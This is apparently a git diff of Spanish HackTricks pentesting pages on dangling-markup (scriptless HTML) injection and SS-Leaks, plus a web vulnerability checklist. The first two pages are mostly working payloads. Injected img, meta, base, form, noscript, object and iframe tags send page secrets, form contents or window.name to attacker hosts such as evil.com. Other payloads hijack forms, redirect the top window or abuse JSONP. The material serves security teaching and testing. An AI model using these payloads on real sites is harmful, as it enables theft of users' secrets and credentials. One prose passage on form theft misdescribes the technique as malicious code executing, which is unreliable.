* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com).
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View file

@ -0,0 +1,266 @@
# Dangling Markup - Inyección HTML sin script
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Resumen
Esta técnica se puede utilizar para extraer información de un usuario cuando se encuentra una **inyección HTML**. Esto es muy útil si **no encuentras ninguna forma de explotar un** [**XSS** ](../xss-cross-site-scripting/)pero puedes **inyectar algunas etiquetas HTML**.\
También es útil si algún **secreto se guarda en texto claro** en el HTML y quieres **extraerlo** del cliente, o si quieres engañar la ejecución de algún script.
Varias técnicas comentadas aquí se pueden utilizar para evadir algunas [**Políticas de Seguridad de Contenido**](../content-security-policy-csp-bypass/) al extraer información de formas inesperadas (etiquetas html, CSS, etiquetas http-meta, formularios, base...).
## Principales Aplicaciones
### Robo de secretos en texto claro
Si inyectas `<img src='http://evil.com/log.cgi?` cuando se carga la página, la víctima te enviará todo el código entre la etiqueta `img` inyectada y la siguiente comilla dentro del código. Si algún secreto se encuentra en ese fragmento, lo robarás (puedes hacer lo mismo usando comillas dobles, mira cuál podría ser más interesante de usar).
Si la etiqueta `img` está prohibida (debido a la Política de Seguridad de Contenido, por ejemplo), también puedes usar `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
```
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
```
Ten en cuenta que **Chrome bloquea las URL HTTP** con "<" o "\n" en ellas, por lo que podrías intentar otros esquemas de protocolo como "ftp".
También puedes abusar de CSS `@import` (enviará todo el código hasta que encuentre un ";")
```markup
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
```
También puedes usar **`<table`**:
```bash
<table background='//your-collaborator-id.burpcollaborator.net?'
```
También puedes insertar una etiqueta `<base`. Toda la información se enviará hasta que se cierre la comilla, pero requiere interacción del usuario (el usuario debe hacer clic en algún enlace, ya que la etiqueta base habrá cambiado el dominio al que apunta el enlace):
```markup
<base target=' <--- Injected
steal me'<b>test</b>
```
### Robando formularios
En algunos casos, los atacantes pueden aprovechar las vulnerabilidades de seguridad en un sitio web para robar información de los formularios enviados por los usuarios. Esto se conoce como robo de formularios y puede ser utilizado para obtener datos confidenciales, como nombres de usuario, contraseñas o información de tarjetas de crédito.
Una técnica común para robar formularios es la inyección de código sin secuencias de comandos en el marcado HTML. Esto implica aprovechar las vulnerabilidades en el código del sitio web para insertar código malicioso en los campos de entrada del formulario. Cuando un usuario envía el formulario, el código malicioso se ejecuta y envía los datos ingresados a un servidor controlado por el atacante.
Para llevar a cabo un robo de formularios, los atacantes pueden utilizar diversas técnicas, como la inyección de código en campos de entrada, la manipulación de solicitudes HTTP o la explotación de vulnerabilidades en el servidor web. Es importante que los desarrolladores y administradores de sitios web implementen medidas de seguridad adecuadas, como la validación de entrada y la protección contra ataques de inyección de código, para prevenir este tipo de ataques.
```markup
<base href='http://evil.com/'>
```
Entonces, los formularios que envían datos a una ruta (como `<form action='update_profile.php'>`) enviarán los datos al dominio malicioso.
### Robando formularios 2
Establece una cabecera de formulario: `<form action='http://evil.com/log_steal'>` esto sobrescribirá la siguiente cabecera de formulario y todos los datos del formulario serán enviados al atacante.
### Robando formularios 3
El botón puede cambiar la URL a donde se enviará la información del formulario con el atributo "formaction":
```markup
<button name=xss type=submit formaction='https://google.com'>I get consumed!
```
Un atacante puede utilizar esto para robar la información.
### Robando secretos en texto claro 2
Utilizando la técnica mencionada anteriormente para robar formularios (inyectando una nueva cabecera de formulario), luego puedes inyectar un nuevo campo de entrada:
```markup
<input type='hidden' name='review_body' value="
```
y este campo de entrada contendrá todo el contenido entre sus comillas dobles y las siguientes comillas dobles en el HTML. Este ataque combina "_**Robo de secretos en texto claro**_" con "_**Robo de formularios2**_".
Puedes hacer lo mismo inyectando un formulario y una etiqueta `<option>`. Todos los datos hasta que se encuentre un `</option>` cerrado serán enviados:
```markup
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
```
### Inyección de parámetros de formulario
Puedes cambiar la ruta de un formulario e insertar nuevos valores para que se realice una acción inesperada:
```markup
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
```
### Robando secretos en texto claro a través de noscript
`<noscript></noscript>` es una etiqueta cuyo contenido se interpretará si el navegador no admite JavaScript (puedes habilitar/deshabilitar JavaScript en Chrome en [chrome://settings/content/javascript](chrome://settings/content/javascript)).
Una forma de extraer el contenido de la página web desde el punto de inyección hasta el final hacia un sitio controlado por el atacante será inyectando lo siguiente:
```markup
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
### Bypassando CSP con interacción del usuario
Desde esta [investigación de portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) puedes aprender que incluso en los entornos **más restringidos por CSP** aún puedes **filtrar datos** con algo de **interacción del usuario**. En esta ocasión vamos a utilizar el payload:
```markup
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
Ten en cuenta que le pedirás al **víctima** que **haga clic en un enlace** que lo redirigirá a un **payload** controlado por ti. También ten en cuenta que el atributo **`target`** dentro de la etiqueta **`base`** contendrá **contenido HTML** hasta la siguiente comilla simple.\
Esto hará que el **valor** de **`window.name`** cuando se haga clic en el enlace sea todo ese **contenido HTML**. Por lo tanto, como **controlas la página** a la que accede la víctima al hacer clic en el enlace, puedes acceder a ese **`window.name`** y **filtrar** esos datos:
```markup
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
### Flujo de trabajo engañoso 1 - Ataque de espacio de nombres HTML
Inserta una nueva etiqueta con un id dentro del HTML que sobrescribirá la siguiente y con un valor que afectará el flujo de un script. En este ejemplo estás seleccionando con quién se compartirá la información:
```markup
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
```
### Flujo de trabajo engañoso de script 2 - Ataque de espacio de nombres de script
Crea variables dentro del espacio de nombres de JavaScript insertando etiquetas HTML. Luego, esta variable afectará el flujo de la aplicación:
```markup
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
```
### Abuso de JSONP
Si encuentras una interfaz JSONP, podrías ser capaz de llamar a una función arbitraria con datos arbitrarios:
```markup
<script src='/editor/sharing.js'>: Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: Injected JSONP call
set_sharing({ ... })
```
O incluso puedes intentar ejecutar algo de javascript:
```markup
<script src='/search?q=a&call=alert(1)'></script>
```
### Abuso de Iframe
Ten en cuenta que un **documento secundario puede ver y establecer la propiedad de ubicación para el padre, incluso si es de origen cruzado.** Esto significa que puedes hacer que el cliente acceda a cualquier otra página cargando dentro de un **iframe** algún código como:
```markup
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
```
Esto se puede mitigar con algo como: _**sandbox= allow-scripts allow-top-navigation**_
Un iframe también puede ser utilizado para filtrar información sensible de una página diferente **utilizando el atributo name del iframe**. Esto se debe a que puedes crear un iframe que se iframe a sí mismo aprovechando la inyección de HTML que hace que la **información sensible aparezca dentro del atributo name del iframe** y luego acceder a ese nombre desde el iframe inicial y filtrarlo.
```html
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
```
Para obtener más información, consulta [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
### \<meta abuso
Puedes usar **`meta http-equiv`** para realizar **varias acciones** como establecer una Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` o realizar una redirección (en 5s en este caso): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
Esto se puede **evitar** con una **CSP** en relación a **http-equiv** (`Content-Security-Policy: default-src 'self';`, o `Content-Security-Policy: http-equiv 'self';`)
### Nuevo etiqueta HTML \<portal
Puedes encontrar una investigación muy **interesante** sobre vulnerabilidades explotables de la etiqueta \<portal [aquí](https://research.securitum.com/security-analysis-of-portal-element/).\
En el momento de escribir esto, debes habilitar la etiqueta portal en Chrome en `chrome://flags/#enable-portals` o no funcionará.
```markup
<portal src='https://attacker-server?
```
### Fugas de HTML
No todas las formas de filtrar la conectividad en HTML serán útiles para Dangling Markup, pero a veces podría ayudar. Compruébalas aquí: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
## Fugas de SS
Esto es una **combinación** entre **dangling markup y XS-Leaks**. Por un lado, la vulnerabilidad permite **inyectar HTML** (pero no JS) en una página de la **misma origen** que la que atacaremos. Por otro lado, no **atacaremos** directamente la página donde podemos inyectar HTML, sino **otra página**.
{% content-ref url="ss-leaks.md" %}
[ss-leaks.md](ss-leaks.md)
{% endcontent-ref %}
## XS-Search/XS-Leaks
XS-Search está orientado a **filtrar información entre orígenes cruzados** abusando de **ataques de canal lateral**. Por lo tanto, es una técnica diferente a Dangling Markup, sin embargo, algunas de las técnicas abusan de la inclusión de etiquetas HTML (con y sin ejecución de JS), como [**Inyección de CSS**](../xs-search.md#css-injection) o [**Carga diferida de imágenes**](../xs-search.md#image-lazy-loading)**.**
{% content-ref url="../xs-search.md" %}
[xs-search.md](../xs-search.md)
{% endcontent-ref %}
## Lista de detección de fuerza bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
## Referencias
Todas las técnicas presentadas aquí y más se pueden revisar con más detalles en:
{% embed url="http://lcamtuf.coredump.cx/postxss/" %}
Otras etiquetas HTML que se pueden abusar se pueden encontrar aquí:
{% embed url="http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/" %}
Más información:
{% embed url="https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -0,0 +1,85 @@
# SS-Leaks
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Esta es una **combinación** entre **dangling markup y XS-Leaks**. Por un lado, la vulnerabilidad permite **inyectar HTML** (pero no JS) en una página de la **misma origen** que la que atacaremos. Por otro lado, no atacaremos directamente la página donde podemos inyectar HTML, sino **otra página**.
## Objetos Anidados
Si el punto de conexión <mark style="color:yellow;">`/api/v1/leaky?secret=a`</mark> devuelve un código de estado 404, entonces se carga el `object` interno, dando una devolución de llamada a <mark style="color:yellow;">`https://evil.com?callback=a`</mark> y permitiéndonos saber que la consulta de búsqueda `a` no arrojó resultados.
```html
<object data="/api/v1/leaky?secret=a">
<object data="https://evil.com?callback=a"></object>
</object>
```
### Carga perezosa
¿Qué pasa si CSP bloquea objetos externos? Intentémoslo de nuevo con el siguiente CSP:
<mark style="color:yellow;">`Content-Security-Policy: default-src 'self'; img-src *;`</mark>
Nuestro callback `object` de arriba ya no funciona. En su lugar, podemos usar la [carga perezosa](https://developer.mozilla.org/es/docs/Web/Performance/Lazy_loading) de imágenes. La siguiente imagen solo se cargará cuando sea visible y esté a una cierta distancia del viewport.
```html
<object data="/api/v1/leaky?secret=a">
<img src="https://evil.com?callback" loading="lazy">
</object>
```
### Imágenes responsivas
La técnica anterior es genial, pero depende de que nuestra inyección de HTML esté dentro del campo de visión del usuario.
Si la inyección está fuera de la pantalla y el usuario no se desplaza, ¿aún podemos filtrar datos? Por supuesto, podemos usar IDs de elementos y [scroll-to-text-fragment](https://chromestatus.com/feature/4733392803332096) para crear una URL que fuerce un desplazamiento, pero esto depende de la interacción del usuario y no nos permite lograr filtraciones consistentes en un escenario del mundo real. Idealmente, queremos aprovechar la inyección de HTML almacenada de manera confiable.
¡Aquí es donde entran en juego las imágenes responsivas! Específicamente, los atributos `srcset` y `sizes` de las imágenes.
{% code overflow="wrap" %}
```html
<object data="/api/v1/leaky?secret=a">
<iframe srcdoc="<img srcset='https://evil.com?callback=1 480w, https://evil.com?callback=0 800w' sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'>" width="1000px">
</object>
```
{% endcode %}
Aquí hay varias cosas que debemos analizar. Primero, recuerda que el iframe interno solo será visible si el punto final con fugas devuelve un código de estado 404.
Esto es importante porque ahora vamos a cargar condicionalmente la imagen dentro del iframe desde dos URL diferentes. Usando el atributo `sizes`, podemos utilizar [media queries](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS\_media\_queries/Using\_media\_queries) para elegir desde qué URL cargar la imagen, dependiendo del tamaño de la ventana gráfica.
{% code overflow="wrap" %}
```html
<img
srcset='https://evil.com?callback=0 800w, https://evil.com?callback=1 480w'
sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'
>
```
{% endcode %}
Porque nuestro iframe tiene `width="1000px"`, ocurre lo siguiente:
1. Si el punto final con fugas devuelve un código de estado 404, se muestra el iframe y tiene un ancho de 1000px. La imagen dentro del iframe coincide con la consulta de medios `(min-width: 1000px)` y carga la imagen de 800px desde `https://evil.com?callback=0`.
2. Si el punto final con fugas devuelve un código de estado 200, no se muestra el iframe. Dado que la imagen no se está representando como parte de un iframe grande, coincide con la consulta de medios `(max-width 999px)` y carga la imagen de 480px desde `https://evil.com?callback=1`.
## Referencias
* [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,4 +1,140 @@
# Metodología de vulnerabilidades web
# Metodología de Vulnerabilidades Web
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
En cada Pentest Web, hay **varios lugares ocultos y obvios que podrían ser vulnerables**. Esta publicación pretende ser una lista de verificación para confirmar que has buscado vulnerabilidades en todos los lugares posibles.
## Proxies
{% hint style="info" %}
Hoy en día, las **aplicaciones web** suelen **utilizar** algún tipo de **proxies intermedios**, los cuales pueden ser (ab)usados para explotar vulnerabilidades. Estas vulnerabilidades necesitan un proxy vulnerable para estar en su lugar, pero generalmente también necesitan alguna vulnerabilidad adicional en el backend.
{% endhint %}
* [ ] [**Abuso de cabeceras hop-by-hop**](../abusing-hop-by-hop-headers.md)
* [ ] [**Envenenamiento de caché/Decepción de caché**](../cache-deception.md)
* [ ] [**HTTP Request Smuggling**](../http-request-smuggling/)
* [ ] [**H2C Smuggling**](../h2c-smuggling.md)
* [ ] [**Inclusión del lado del servidor/Inclusión del lado del borde**](../server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**Descubriendo Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
* [ ] [**Inyección de servidor XSLT**](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
## **Entrada de usuario**
{% hint style="info" %}
La mayoría de las aplicaciones web permitirán a los usuarios ingresar datos que se procesarán más tarde.\
Dependiendo de la estructura de los datos que el servidor espera, algunas vulnerabilidades pueden aplicarse o no.
{% endhint %}
### **Valores reflejados**
Si los datos introducidos de alguna manera se reflejan en la respuesta, la página podría ser vulnerable a varios problemas.
* [ ] [**Inyección de plantillas del lado del cliente**](../client-side-template-injection-csti.md)
* [ ] [**Inyección de comandos**](../command-injection.md)
* [ ] [**CRLF**](../crlf-0d-0a.md)
* [ ] [**Marcado colgante**](../dangling-markup-html-scriptless-injection/)
* [ ] [**Inclusión de archivos/Travesía de ruta**](../file-inclusion/)
* [ ] [**Redirección abierta**](../open-redirect.md)
* [ ] [**Contaminación de prototipos para XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
* [ ] [**Inclusión del lado del servidor/Inclusión del lado del borde**](../server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**Falsificación de solicitudes del lado del servidor**](../ssrf-server-side-request-forgery/)
* [ ] [**Inyección de plantillas del lado del servidor**](../ssti-server-side-template-injection/)
* [ ] [**Robo de pestañas inverso**](../reverse-tab-nabbing.md)
* [ ] [**Inyección de servidor XSLT**](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
* [ ] [**XSS**](../xss-cross-site-scripting/)
* [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
* [ ] [**XS-Search**](../xs-search.md)
Algunas de las vulnerabilidades mencionadas requieren condiciones especiales, otras solo requieren que el contenido se refleje. Puedes encontrar algunos poliglotas interesantes para probar rápidamente las vulnerabilidades en:
{% content-ref url="../pocs-and-polygloths-cheatsheet/" %}
[pocs-and-polygloths-cheatsheet](../pocs-and-polygloths-cheatsheet/)
{% endcontent-ref %}
### **Funcionalidades de búsqueda**
Si la funcionalidad se puede utilizar para buscar algún tipo de datos dentro del backend, tal vez puedas (ab)usarla para buscar datos arbitrarios.
* [ ] [**Inclusión de archivos/Travesía de ruta**](../file-inclusion/)
* [ ] [**Inyección NoSQL**](../nosql-injection.md)
* [ ] [**Inyección LDAP**](../ldap-injection.md)
* [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
* [ ] [**Inyección SQL**](../sql-injection/)
* [ ] [**Inyección XPATH**](../xpath-injection.md)
### **Formularios, WebSockets y PostMsgs**
Cuando un websocket envía un mensaje o un formulario que permite a los usuarios realizar acciones, pueden surgir vulnerabilidades.
* [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
* [ ] [**Secuestro de WebSocket entre sitios (CSWSH)**](../cross-site-websocket-hijacking-cswsh.md)
* [ ] [**Vulnerabilidades de PostMessage**](../postmessage-vulnerabilities/)
### **Encabezados HTTP**
Dependiendo de los encabezados HTTP proporcionados por el servidor web, pueden estar presentes algunas vulnerabilidades.
* [ ] [**Clickjacking**](../clickjacking.md)
* [ ] [**Bypass de la Política de Seguridad de Contenido**](../content-security-policy-csp-bypass/)
* [ ] [**Hacking con Cookies**](../hacking-with-cookies/)
* [ ] [**CORS - Configuraciones incorrectas y Bypass**](../cors-bypass.md)
### **Bypasses**
Existen varias funcionalidades específicas donde pueden ser útiles algunos métodos alternativos para evadirlas.
* [ ] [**Bypass de 2FA/OTP**](../2fa-bypass.md)
* [ ] [**Bypass del Proceso de Pago**](../bypass-payment-process.md)
* [ ] [**Bypass de Captcha**](../captcha-bypass.md)
* [ ] [**Bypass de Inicio de Sesión**](../login-bypass/)
* [ ] [**Condición de Carrera**](../race-condition.md)
* [ ] [**Bypass de Límite de Tasa**](../rate-limit-bypass.md)
* [ ] [**Bypass de Restablecimiento de Contraseña Olvidada**](../reset-password.md)
* [ ] [**Vulnerabilidades de Registro**](../registration-vulnerabilities.md)
### **Objetos estructurados / Funcionalidades específicas**
Algunas funcionalidades requerirán que los datos estén estructurados en un formato muy específico (como un objeto serializado de lenguaje o XML). Por lo tanto, es más fácil identificar si la aplicación podría ser vulnerable, ya que necesita procesar ese tipo de datos.\
Algunas **funcionalidades específicas** también pueden ser vulnerables si se utiliza un **formato específico de entrada** (como Inyecciones de Encabezado de Correo Electrónico).
* [ ] [**Deserialización**](../deserialization/)
* [ ] [**Inyección de Encabezado de Correo Electrónico**](../email-injections.md)
* [ ] [**Vulnerabilidades de JWT**](../hacking-jwt-json-web-tokens.md)
* [ ] [**Entidad Externa XML**](../xxe-xee-xml-external-entity.md)
### Archivos
Las funcionalidades que permiten cargar archivos pueden ser vulnerables a varios problemas.\
Las funcionalidades que generan archivos incluyendo la entrada del usuario pueden ejecutar código inesperado.\
Los usuarios que abren archivos cargados por usuarios o generados automáticamente incluyendo la entrada del usuario pueden ser comprometidos.
* [ ] [**Carga de Archivos**](../file-upload/)
* [ ] [**Inyección de Fórmulas**](../formula-doc-latex-injection.md)
* [ ] [**Inyección de PDF**](../xss-cross-site-scripting/pdf-injection.md)
* [ ] [**XSS en el Lado del Servidor**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
### **Gestión de Identidad Externa**
* [ ] [**OAUTH para toma de control de cuenta**](../oauth-to-account-takeover.md)
* [ ] [**Ataques SAML**](../saml-attacks/)
### **Otras Vulnerabilidades Útiles**
Estas vulnerabilidades pueden ayudar a explotar otras vulnerabilidades.
* [ ] [**Toma de control de Dominio/Subdominio**](../domain-subdomain-takeover.md)
* [ ] [**IDOR**](../idor.md)
* [ ] [**Contaminación de Parámetros**](../parameter-pollution.md)
